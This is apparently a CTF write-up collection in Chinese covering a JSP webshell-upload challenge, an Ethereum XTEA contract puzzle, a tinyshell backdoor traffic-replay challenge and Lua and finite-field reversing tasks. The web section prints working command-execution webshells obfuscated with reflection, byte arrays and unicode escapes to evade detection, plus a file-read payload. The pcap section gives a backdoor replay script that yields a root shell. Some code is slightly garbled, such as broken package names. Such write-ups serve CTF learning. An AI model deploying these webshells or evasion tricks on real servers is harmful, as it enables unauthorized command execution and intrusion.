经过多次尝试题目好像没有限制任意文件读
上传以下文件,可以读取到upload.jsp文件内容
<%@ page import = ".io.*"%> <% File f = new File(application.getRealPath(""), "upload.jsp"); FileReader fr = new FileReader(f); char data[] = new char[(int) f.length()]; int charsread = fr.read(data); String s = new String(data, 0 , charsread); %> <%=s %>
发现upload.jsp上传的文件传到了一个另一个地方进行检测
无法直接读取/flag
.io.FileNotFoundException: /flag (Permission denied)
因此考虑绕过webshell检测,上传一个可以命令执行的webshell
绕过方式包括且不限于:
-
使用未被过滤的函数
-
不通过webshell自身绕过,通过一些非正常行为绕过检测端,例如并发操作等
-
绕过后台检测工具特性,例如发送一些特殊字符,使其对后续字符不再检测
-
使后台检测工具无法检测,但jsp可以正常理解,例如编码等
以下是一些选手的样本:
<%=new String(((Process)Runtime.class.getMethods()[12].invoke(Runti me.getRuntime(), "cat /flag")).getInputStream().readAllBytes())%>
<%@ page contentType="text/html;charset=UTF-8" language="" %> <% if(request.getParameter("cmd")!=null){ Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") ); .io.InputStream in = e.getInputStream(); int a = -1;byte[] b = new byte[2048];out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print(" </pre>"); } %>
<jsp:let> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u006 1\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u 0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u00 6d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(\u0072\u0065\u0071\u0075\u006 5\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\ u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u 0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u 0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u 006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new .io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035" ); </jsp:let>
MISC
EthEnc
过了程序的pow可以看到有4个菜单:
We design a pretty easy contract game. Enjoy it! 1. Create a game account 2. Deploy a game contract 3. Request for flag 4. Get source code Game environment: Ropsten testnet Option 1, get an account which will be used to deploy the contract; Before option 2, please transfer some eth to this account (for gas); Option 2, the robot will use the account to deploy the contract for the problem; Option 3, use this option to obtain the flag after emit OhSendFlag(address addr) event. You can finish this challenge in a lot of connections.
菜单4可以看到一部分源码,从中可以知道我们需要触发payforflag函数:
pragma solidity ^0.6.12; contract EthEnc { ......................... ......................... ......................... event OhSendFlag(address addr); modifier auth { require(msg.sender == owner || msg.sender == address(this), "EthEnc: not authorized"); _; } function payforflag() public auth { require(output == 2282910687825444608285583946662268071674116917685196567156); emit OhSendFlag(msg.sender); selfdestruct(msg.sender); } ......................... ......................... ......................... }
先通过功能1创建账号:
[-]input your choice: $ 1 [+]Your game account:0x57BA63AABc5991852A50C6b2361fbe5fEAE49fd1 [+]token: OnvPSX3yroQVfoPezMU5JxTox1qlqP/D/+4Bk/9hMj3TNL/EvDGtDEZX5MApRGh3l/mIrYB9RlB40Q88n87Ogx+x0WCR92vm0iLi4pKJVLEUhL9CJK0YMI6kGMlMuF0oXbhsMopmgHUMD6VNL/WcDgiUf1w++IW586HEXMKGyaU= [+]Deploy will cost 565486 gas [+]Make sure that you have enough ether to deploy!!!!!!
给功能1的账号转账后,再通过功能2部署合约:
[-]input your choice: $ 2 [-]input your token: $ OnvPSX3yroQVfoPezMU5JxTox1qlqP/D/+4Bk/9hMj3TNL/EvDGtDEZX5MApRGh3l/mIrYB9RlB40Q88n87Ogx+x0WCR92vm0iLi4pKJVLEUhL9CJK0YMI6kGMlMuF0oXbhsMopmgHUMD6VNL/WcDgiUf1w++IW586HEXMKGyaU= [+]new token: sdSA/5Vg6zOGg9imEZ9VZD2gM9kYjvTcLaS7UdqDOIc/aQ20jAuWdM3j5yvu6+gjMagTr7lXYNgAxTobDjH0G6VUm4b/QImRuU3vrRCmLj0OA3B703WGsITM//wgYfe4etYKu2kgdCpAtL6CRaGitq8mIALIfhZ3E7dtpUpgut91COVf7w8cG6VqqGp5lWO+zoTK5jlYse0zPun9IJkflA== [+]Your goal is to emit OhSendFlag(address addr) event in the game contract [+]Transaction hash: 0x944d930f504881910ab139a77501c4ea7716b5ed2b50e851dc9e83808b29c058
得到交易id后,我们可以去https://ropsten.etherscan.io查询交易,得到合约的字节码:
0x6080604052600436106100435760003560e01c8063234fbf321461011e57806380e10aa514610135578063e7aab2901461014c578063f20eaeb81461021457610119565b366101195760003414156100b6573073ffffffffffffffffffffffffffffffffffffffff166380e10aa56040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561009957600080fd5b505af11580156100ad573d6000803e3d6000fd5b50505050610117565b3073ffffffffffffffffffffffffffffffffffffffff1663234fbf326040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156100fe57600080fd5b505af1158015610112573d6000803e3d6000fd5b505050505b005b600080fd5b34801561012a57600080fd5b5061013361023f565b005b34801561014157600080fd5b5061014a61054a565b005b34801561015857600080fd5b506102126004803603602081101561016f57600080fd5b810190808035906020019064010000000081111561018c57600080fd5b82018360208201111561019e57600080fd5b803590602001918460018302840111640100000000831117156101c057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506106cd565b005b34801561022057600080fd5b506102296106e7565b6040518082815260200191505060405180910390f35b60006102e4600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102da5780601f106102af576101008083540402835291602001916102da565b820191906000526020600020905b8154815290600101906020018083116102bd57829003601f168201915b50505050506106ed565b905060008063ffffffff60015460601c1660055563ffffffff60015460401c1660065563ffffffff60015460201c1660075563ffffffff600154166008556001805b60048110156105435763ffffffff85600860046008850260180301021c16935063ffffffff856008808402601803021c169250600060045560005b60208110156105175760008060008063ffffffff8863ffffffff60208b041663ffffffff60108c02161801169350600363ffffffff6004541616600081146103cf57600181146103eb57600281146104075763ffffffff806008541663ffffffff600454160116935061041f565b63ffffffff806005541663ffffffff600454160116935061041f565b63ffffffff806006541663ffffffff600454160116935061041f565b63ffffffff806007541663ffffffff60045416011693505b5063ffffffff8385188a0116985063ffffffff60025460051c63ffffffff60045416011660045563ffffffff8963ffffffff60208c041663ffffffff60108d02161801169150600363ffffffff8060045416600b1c1616600081146104aa57600181146104c657600281146104e25763ffffffff806008541663ffffffff60045416011691506104fa565b63ffffffff806005541663ffffffff60045416011691506104fa565b63ffffffff806006541663ffffffff60045416011691506104fa565b63ffffffff806007541663ffffffff60045416011691505b5063ffffffff818318890116975050505050600181019050610361565b50826040820260c0031b846020840260c0031b0160035401600355600282019150600181019050610326565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806105cf57503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f457468456e633a206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b775d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c232746003541461066757600080fd5b7f8b177f28772b136d199ffba089065a411729f108f8d6c93aec14389ed904d00133604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff16ff5b80600a90805190602001906106e3929190610715565b5050565b60035481565b60008060208301519050680100000000000000008160001c8161070c57fe5b04915050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061075657805160ff1916838001178555610784565b82800160010185558215610784579182015b82811115610783578251825591602001919060010190610768565b5b5090506107919190610795565b5090565b5b808211156107ae576000816000905550600101610796565b509056fea2646970667358221220a9e07df1b7e0cb341d8070f34f6912ff2ba7e42490326fed5ba8d7c8d716bfab64736f6c634300060c0033
ropsten自带的反编译结果:
# # Panoramix v4 Oct 2019 # Decompiled source of ropsten:0x97575FA5A283eD45ddDddCFF45DC65869Ac62243 # # Let's make the world open source # # # I failed with these: # - _fallback() # All the rest is below. # def storage: stor0 is addr at storage 0 stor1 is uint32 at storage 1 offset 32 stor1 is uint32 at storage 1 offset 96 stor1 is uint32 at storage 1 offset 64 stor1 is uint32 at storage 1 stor2 is uint256 at storage 2 output is uint256 at storage 3 stor4 is uint32 at storage 4 stor4 is uint8 at storage 4 offset 11 stor4 is uint256 at storage 4 stor4 is uint8 at storage 4 stor4 is uint256 at storage 4 offset 32 stor5 is uint32 at storage 5 stor5 is uint256 at storage 5 stor6 is uint32 at storage 6 stor6 is uint256 at storage 6 stor7 is uint32 at storage 7 stor7 is uint256 at storage 7 stor8 is uint32 at storage 8 stor8 is uint256 at storage 8 stor10 is array of struct at storage 10 def output(): # not payable return output # # Regular functions # def unknown80e10aa5(): # not payable if stor0 != caller: if this.address != caller: revert with 0, 'EthEnc: not authorized' require output == 0x5d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c23274 log 0x8b177f28: caller selfdestruct(caller) def unknowne7aab290(array _param1): # not payable require calldata.size - 4 >= 32 require _param1 <= 4294967296 require _param1 + 36 <= calldata.size require _param1.length <= 4294967296 and _param1 + _param1.length + 36 <= calldata.size stor10[].field_0 = Array(len=_param1.length, data=_param1[all]) def unknown234fbf32(): # not payable idx = 128 s = 0 while stor10.length + 96 > idx: mem[idx + 32] = stor10展开收缩.field_256 idx = idx + 32 s = s + 1 continue uint256(stor5) = uint32(stor1.field_96) uint256(stor6) = uint32(stor1.field_64) uint256(stor7) = uint32(stor1.field_32) uint256(stor8) = uint32(stor1.field_0) idx = 1 s = 1 t = 0 t = 0 while idx < 4: uint256(stor4.field_0) = 0 t = 0 u = 0 v = 0 while t < 32: uint32(stor4.field_0) = uint32(uint32(stor4.field_0) + (Mask(251, 0, stor2) * 0.03125)) Mask(224, 0, stor4.field_32) = 0 if not stor4.field_0 % 4: ......
stor1和stor4的两个值感觉比较重要,看反编译代码里是找不到这两个值的,可以通过两种方式,方法一是反编译此次交易的input data:
结果如下:
contract disassembler { function main() public return () { mstore(0x40,0x80); sstore(0x4,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x4))); sstore(0x5,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x5))); sstore(0x6,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x6))); sstore(0x7,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x7))); sstore(0x8,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x8))); sstore(0x9,0x944AA7BA1B02649C534F16833BFBD82F); sstore(0x1,0x746869745F69735E5F746573746B6579); sstore(0x2,0xB3C6EF3720); callcodecopy(0x0,0x1E3,0x7E8); RETURN(0x0,0x7E8); } }
或者通过API查看:
#!/usr/bin/env python # coding=utf-8 from web3 import Web3 contract_address = '0x97575fa5a283ed45dddddcff45dc65869ac62243' w3 = Web3(Web3.HTTPProvider("")) key = w3.eth.getStorageAt(Web3.toChecksumAddress(contract_address), 1) print(key)
stor1的值为thit_is^_testkey
,计算stor4:
>>> hex(int(0xb3c6ef3720 * 0.03125) & 0xffffffff) '0x9e3779b9'
根据0x9e3779b9常量和反编译代码,可以推断出是XTEA加密算法,stor1为key,密文十进制为2282910687825444608285583946662268071674116917685196567156,因此可以解密:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
unsigned int i;
uint32_t const k[4]={0x74686974,0x5f69735e,0x5f746573,0x746b6579};
unsigned int r=32;
// 2282910687825444608285583946662268071674116917685196567156 = 0x5d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c23274
uint32_t enc1[2] = {0x5d1ab31f, 0x6a103c8f};
uint32_t enc2[2] = {0x364d33e9, 0x6dbdd5cd};
uint32_t enc3[2] = {0xbd40d15e, 0x55c23274};
char flag[50];
decipher(r, enc1, k);
decipher(r, enc2, k);
decipher(r, enc3, k);
printf("解密后的数据:%x %x %x %x %x %x\n",enc1[0],enc1[1],enc2[0],enc2[1],enc3[0],enc3[1]);
// 0x5f5f6f685f66616e74616e73697469635f626162795f5f5f
int s[24] = {0x5f, 0x5f, 0x6f, 0x68, 0x5f, 0x66, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x73, 0x69, 0x74, 0x69, 0x63, 0x5f, 0x62, 0x61, 0x62, 0x79, 0x5f, 0x5f, 0x5f};
for (i=0; i<24; i++) {
printf("%c", s[i]);
}
return 0;
}
得到明文为__oh_fantansitic_baby___
。 看题目给出的部分源代码,payforflag有modifier auth的检查,所以我们不能直接调用,利用https://ethervm.io/decompile
反编译合约看到:
......
} else if (msg.data.length) { revert(memory[0x00:0x00]); }
else if (msg.value != 0x00) {
var var0 = address(this);
var var1 = 0x234fbf32;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) << 0xe0;
var var2 = temp0 + 0x04;
var var3 = 0x00;
var var4 = memory[0x40:0x60];
var var5 = var2 - var4;
var var6 = var4;
var var7 = 0x00;
var var8 = var0;
var var9 = !address(var8).code.length;
if (var9) { revert(memory[0x00:0x00]); }
var temp1;
temp1, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp1;
if (!var3) { stop(); }
var temp2 = returndata.length;
memory[0x00:0x00 + temp2] = returndata[0x00:0x00 + temp2];
revert(memory[0x00:0x00 + returndata.length]);
} else {
var0 = address(this);
var1 = 0x80e10aa5;
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = (var1 & 0xffffffff) << 0xe0;
var2 = temp3 + 0x04;
var3 = 0x00;
var4 = memory[0x40:0x60];
var5 = var2 - var4;
var6 = var4;
var7 = 0x00;
var8 = var0;
var9 = !address(var8).code.length;
if (var9) { revert(memory[0x00:0x00]); }
var temp4;
temp4, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
var3 = !temp4;
if (!var3) { stop(); }
var temp5 = returndata.length;
memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
revert(memory[0x00:0x00 + returndata.length]);
}
}
......
如果转账金额为0的话,就会调用0x80e10aa5函数,即payforflag。 于是先调用e7aab290函数设置明文,字符串参数可以用如下方法生成:
from eth_abi import encode_abi print(encode_abi(['string'], ['__oh_fantansitic_baby___']).hex())
调用脚本如下:
#!/usr/bin/env python # coding=utf-8 from web3 import Web3 contract_address = '0x97575fa5a283ed45dddddcff45dc65869ac62243' w3 = Web3(Web3.HTTPProvider("")) private = bytes.fromhex("") def get_txn(data): txn = { "nonce": w3.eth.getTransactionCount('0xfe80C412340e57305bc85C4692F853E10c69e186'), "from": '0xfe80C412340e57305bc85C4692F853E10c69e186', "to": Web3.toChecksumAddress(contract_address), "gasPrice": w3.eth.gasPrice, "gas": 3000000, "value": Web3.toWei(0, 'ether'), "data": data } return txn data1 = '0xe7aab290000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000185f5f6f685f66616e74616e73697469635f626162795f5f5f0000000000000000' data2 = '0x234fbf32' data3 = '0x' signed_txn = w3.eth.account.signTransaction(get_txn(data1), private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print(txn_hash) print(txn_receipt)
然后调用0x234fbf32函数加密:
signed_txn = w3.eth.account.signTransaction(get_txn(data2), private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print(txn_hash) print(txn_receipt)
触发payforflag:
signed_txn = w3.eth.account.signTransaction(get_txn(data3), private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print(txn_hash) print(txn_receipt)
然后通过功能3 Request for flag即可得到flag。
WhoMovedMyFlag
打开流量包,发现有两个流,第一个是HTTP的,通过wget访问了一个叫做tshd的文件。通过文件名猜测是tinyshell后门软件,提取出来以后拖到ida里看一下可以很明显的看到第二个流的对端C2地址,172.17.0.24,然后还有另外一个字符串,猜测是密钥:6.3.0-18+deb9u1
git clone https://github.com/orangetw/tsh
按照secret:6.3.0-18+deb9u1 端口8888 ,这里为了绕过tsh端的校验,需要手动在pel.c中patch sha1中的40个字节,patch成第一个数据包中的40个字节即可,然后编译tsh备用。
编写流量重放脚本
peer0_0= [
0x0a, 0xb3, 0x48, 0xad, 0x08, 0x26, 0xc6, 0x45,
0x18, 0x71, 0x2b, 0x9d, 0xf0, 0x8a, 0xf6, 0x3e,
0x3a, 0x5e, 0xfb, 0x96, 0x71, 0xf4, 0xc4, 0xe0,
0xcc, 0x37, 0x46, 0x94, 0xb3, 0x91, 0xb0, 0xbe,
0xe7, 0x6a, 0xf2, 0x09, 0x12, 0x9d, 0x69, 0x7f,
0x05, 0xfc, 0x2a, 0x24, 0xec, 0x76, 0x5e, 0xde,
0x53, 0x2b, 0x25, 0xb8]
peer0_1=[
0x97, 0xb5, 0xfe, 0xbf, 0xe4, 0x8f, 0x28, 0x9f,
0x8e, 0x6f, 0xac, 0xc2, 0xd5, 0xc4, 0xac, 0x01,
0xa8, 0xd8, 0x7a, 0xa4, 0x26, 0xad, 0xca, 0xea,
0xbc, 0x35, 0x75, 0x28, 0x7c, 0xa0, 0xed, 0xa5,
0xba, 0x02, 0xeb, 0x63, 0xa5, 0xb8, 0x56, 0x3c,
0x7a, 0xe5, 0x65, 0x9a, 0x83, 0xb1, 0x13, 0xdf,
0xf5, 0x49, 0x08, 0x17]
peer0_2=[
0x84, 0x58, 0x07, 0x3e, 0x49, 0x59, 0x5c, 0x9c,
0x05, 0xb1, 0x94, 0x24, 0x01, 0x13, 0x46, 0x7d,
0x6f, 0x3a, 0x86, 0xf5, 0xfe, 0x64, 0x19, 0xf1,
0x8e, 0xe6, 0x0e, 0xf1, 0x3a, 0xdd, 0x8b, 0x4f,
0xa9, 0xa6, 0xc5, 0x34, 0xbb, 0x69, 0x53, 0x61,
0xc6, 0x41, 0xeb, 0xb6, 0x8b, 0xd1, 0x59, 0x82,
0xe2, 0xfa, 0xbe, 0xf1, 0x3c, 0xd5, 0xc6, 0x75,
0x81, 0x83, 0x2b, 0x98, 0x64, 0xe3, 0xaa, 0xd9,
0x14, 0x5b, 0xc3, 0xa8, 0xaf, 0x74, 0xda, 0x49,
0x31, 0xab, 0xd1, 0xfe, 0x52, 0xcf, 0x80, 0x57,
0x43, 0x68, 0xaf, 0xa0, 0x20, 0x7c, 0xe8, 0x34,
0x36, 0x7c, 0x3d, 0x0b, 0xc3, 0xe3, 0xb0, 0x1b,
0x38, 0x12, 0x68, 0xb3, 0xad, 0x97, 0x6e, 0x7c,
0xb7, 0x78, 0x1f, 0xa4, 0x11, 0xf7, 0xd1, 0x62,
0x58, 0xa1, 0x89, 0xdf, 0x12, 0xa9, 0x62, 0x33,
0x86, 0xff, 0x59, 0x31, 0xfb, 0x5e, 0x72, 0xc0,
0xc4, 0xdc, 0x6d, 0x53, 0x1b, 0x63, 0x33, 0x48,
0x35, 0xda, 0x91, 0xda, 0xa5, 0xba, 0x73, 0xe8,
0x94, 0x5e, 0xe5, 0x68, 0x3f, 0x1a, 0x11, 0x02,
0xe0, 0x09, 0xc1, 0x35, 0x8d, 0xff, 0x01, 0x6e,
0xd4, 0xf1, 0xe2, 0x48, 0xe3, 0xc7, 0xb2, 0x4b,
0x4f, 0xa6, 0xa0, 0xc5, 0x6d, 0x0f, 0x4f, 0x45,
0x74, 0x8f, 0x33, 0xd9, 0xa6, 0xab, 0x28, 0xfc,
0xa2, 0x9a, 0x0c, 0x69, 0x21, 0x64, 0x89, 0x95,
0xb8, 0x5b, 0xbb, 0x32, 0x48, 0x4b, 0x6e, 0xe9,
0x52, 0x55, 0x3d, 0x78, 0xeb, 0x29, 0x19, 0x3e,
0xe7, 0xaf, 0xfd, 0x1f, 0x61, 0x10, 0x6d, 0x89,
0x8c, 0xe4, 0xb7, 0xb5, 0x08, 0x45, 0xb9, 0x73,
0x66, 0x6d, 0x73, 0x81, 0x43, 0x3e, 0x28, 0x0e,
0x15, 0x43, 0xbb, 0xca, 0x13, 0x3e, 0x7a, 0x24,
0x8b, 0x3a, 0x3a, 0x5c, 0xcf, 0x91, 0x61, 0x5a,
0x41, 0x44, 0xa0, 0x8a, 0xf3, 0x7e, 0x7c, 0x65,
0xe3, 0x23, 0x76, 0x26, 0x03, 0x32, 0x57, 0xc2,
0xc6, 0x48, 0xbc, 0xae, 0xf8, 0xd9, 0xc7, 0x42,
0xe9, 0x6f, 0x7f, 0xb4, 0xa6, 0x3b, 0x1d, 0x78,
0x0f, 0xfe, 0x1e, 0x00, 0xf2, 0xdb, 0x64, 0x53,
0x2c, 0xd9, 0x28, 0xbe, 0x9d, 0x35, 0xf4, 0x24,
0x78, 0x06, 0x2c, 0x18, 0x36, 0xc7, 0xd9, 0xc8,
0xd0, 0x40, 0xbd, 0xe0, 0x9b, 0x92, 0xa3, 0x9c,
0x36, 0x64, 0xcd, 0x83, 0xf6, 0x4f, 0xd7, 0xb1,
0x1f, 0x93, 0xaa, 0x7a]
peer0 = [peer0_0, peer0_1, peer0_2]
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",8888))
for x in peer0:
s.recv(1000)
s.send("".join(map(chr,x)))
使用反向监听模式:.\tsh cb 重放流量可得flag
cat /etc/flag exit root@e3baa00f5c9a:/tmp# cat /etc/flag ctf{c67d123f74a091a8e4b12015} root@e3baa00f5c9a:/tmp# exit logout
flag:ctf{c67d123f74a091a8e4b12015}
Reverse
weird_lua
本题考点主要是对lua-5.3源码做了部分修改,根据luac生成了二进制文件。
-
修改了lundump.c中的LoadByte函数,将结果与0xff做了异或,如下 static lu_byte LoadByte (LoadState *S) { lu_byte x; LoadVar(S, x); x ^= 0xff; return x; }
-
修改了部分opcode序列的顺序,随机修改,具体见如下:
0 0 1 MOVE -> MOVE 1 1 1 LOADK -> LOADK 2 2 1 LOADKX -> LOADKX 3 3 1 LOADBOOL -> LOADBOOL 4 4 1 LOADNIL -> LOADNIL 5 5 1 GETUPVAL -> GETUPVAL 6 32 1 GETTABUP -> LT 7 38 1 GETTABLE -> RETURN 8 7 1 SETTABUP -> GETTABLE 9 35 1 SETUPVAL -> TESTSET 10 12 1 SETTABLE -> SELF 11 11 1 NEWTABLE -> NEWTABLE 12 33 1 SELF -> LE 13 13 1 ADD -> ADD 14 14 1 SUB -> SUB 15 15 1 MUL -> MUL 16 16 1 MOD -> MOD 17 17 1 POW -> POW 18 18 1 DIV -> DIV 19 19 1 IDIV -> IDIV 20 20 1 BAND -> BAND 21 21 1 BOR -> BOR 22 22 1 BXOR -> BXOR 23 23 1 SHL -> SHL 24 24 1 SHR -> SHR 25 25 1 UNM -> UNM 26 26 1 BNOT -> BNOT 27 27 1 NOT -> NOT 28 28 1 LEN -> LEN 29 6 1 CONCAT -> GETTABUP 30 30 1 JMP -> JMP 31 34 1 EQ -> TEST 32 8 1 LT -> SETTABUP 33 41 1 LE -> TFORCALL 34 40 1 TEST -> FORPREP 35 46 1 TESTSET -> EXTRAARG 36 36 1 CALL -> CALL 37 39 1 TAILCALL -> FORLOOP 38 43 1 RETURN -> SETLIST 39 29 1 FORLOOP -> CONCAT 40 37 1 FORPREP -> TAILCALL 41 42 1 TFORCALL -> TFORLOOP 42 45 1 TFORLOOP -> VARARG 43 10 1 SETLIST -> SETTABLE 44 9 1 CLOSURE -> SETUPVAL 45 44 1 VARARG -> CLOSURE 46 31 1 EXTRAARG -> EQ
-
破解方法:
-
通过逆向,可以发现头部各种标志不对,从而发现LoadByte的问题,重新编译lua代码修复该问题,修完后继续发现还修改了LUA_SIGNATURE,由1b改成了1c。然后继续发现操作码对不上。
-
自己编写lua脚本,调用lua子代码的string.dump函数,可以找到生成的lua二进制脚本,与正常生成的作对比,可以找到操作码的对应关系。参考https://bbs.pediy.com/thread-250618.htm
-
更新lua5.3中的opcode顺序(lopcode,具体看.c和.h文件,有三个数组要修改),重新编译luadec(github可以搜索到),然后对check_license_out.lua进行反汇编,反编译会失败。
-
根据lua反汇编代码逆向分析,即可得到flag。
-
附上Vidar-Team队求flag的脚本:
#!/usr/bin/env python # coding=utf-8 tb=[81, 138, 85, 142, 185, 35, 229, 83, 8, 225, 92, 223, 222, 47, 182, 158, 17, 74, 34, 100, 43, 103, 102, 147, 237, 88, 73, 28, 224, 23, 44, 40, 154, 127, 16, 169, 160, 118, 51, 194, 31, 68, 89, 65, 162, 13, 141, 0, 244, 119, 161, 198, 228, 95, 10, 78, 37, 121, 236, 59, 60, 91, 146, 46, 77, 218, 66, 200, 61, 241, 70, 55, 39, 227, 42, 2, 231, 235, 122, 135, 152, 137, 173, 232, 101, 75, 233, 21, 252, 15, 133, 111, 205, 57, 132, 187, 96, 49, 124, 86, 19, 188, 80, 213, 106, 214, 203, 177, 56, 104, 82, 110, 196, 113, 155, 170, 150, 117, 26, 140, 144, 11, 172, 67, 209, 125, 54, 58, 128, 204, 186, 199, 189, 208, 239, 143, 249, 246, 1, 139, 33, 87, 64, 116, 84, 254, 126, 202, 148, 76, 247, 115, 109, 3, 238, 114, 156, 195, 163, 159, 52, 36, 245, 240, 63, 153, 166, 167, 175, 9, 151, 171, 216, 207, 179, 72, 176, 48, 178, 157, 20, 181, 149, 53, 184, 4, 136, 165, 217, 50, 190, 191, 192, 193, 98, 215, 62, 112, 38, 90, 123, 105, 94, 221, 99, 201, 206, 251, 14, 211, 220, 131, 212, 130, 134, 253, 120, 145, 18, 219, 79, 129, 12, 93, 5, 183, 107, 71, 226, 180, 24, 234, 7, 108, 174, 6, 45, 29, 32, 168, 230, 197, 41, 25, 255, 164, 27, 210, 248, 97, 250, 22, 242, 243, 30, 69] x=[172, 25, 60, 95, 5, 27, 49, 58, 171, 5, 253, 45, 87, 246, 197, 12, 97, 234, 159, 119, 157, 169, 121, 54, 242] ans=[94, 117, 57, 37, 54, 110, 15, 223, 163, 133, 99, 237, 8, 128, 27, 54, 233, 181, 242, 55, 230, 62, 42, 252, 116] for i in range(25): print(chr(tb.index( ans[i]) ^ x[i]), end='')
divination
libdivination.so里其实就做了循环左移/右移和异或的操作,算法还原如下:
k = 1
for(i=3;i<129;i+=2){
for(j=3;j<12;j+=2){
if(!(i%j))
continue;
}
if(k) {
result ^=RotateLeft(input, i);
} else {
result ^=RotateRight(input, i);
}
k = !k;
}
无法通过简单逆推求flag,这里涉及有限域的知识。对256bit的数做循环移位和异或分别等价于在有限域GF(2^256)上做乘法和加法的操作,因此我们可以将对该数所做的操作抽象成有限域中的一个元素,对这个元素在有限域上取逆即为相应的逆操作,对结果做逆操作即为原始数值。 求解脚本如下:
typedef boost::multiprecision::uint256_t uint256;
// flag{YoU\C4n/s01Ve%f1Nite_F1e1d}
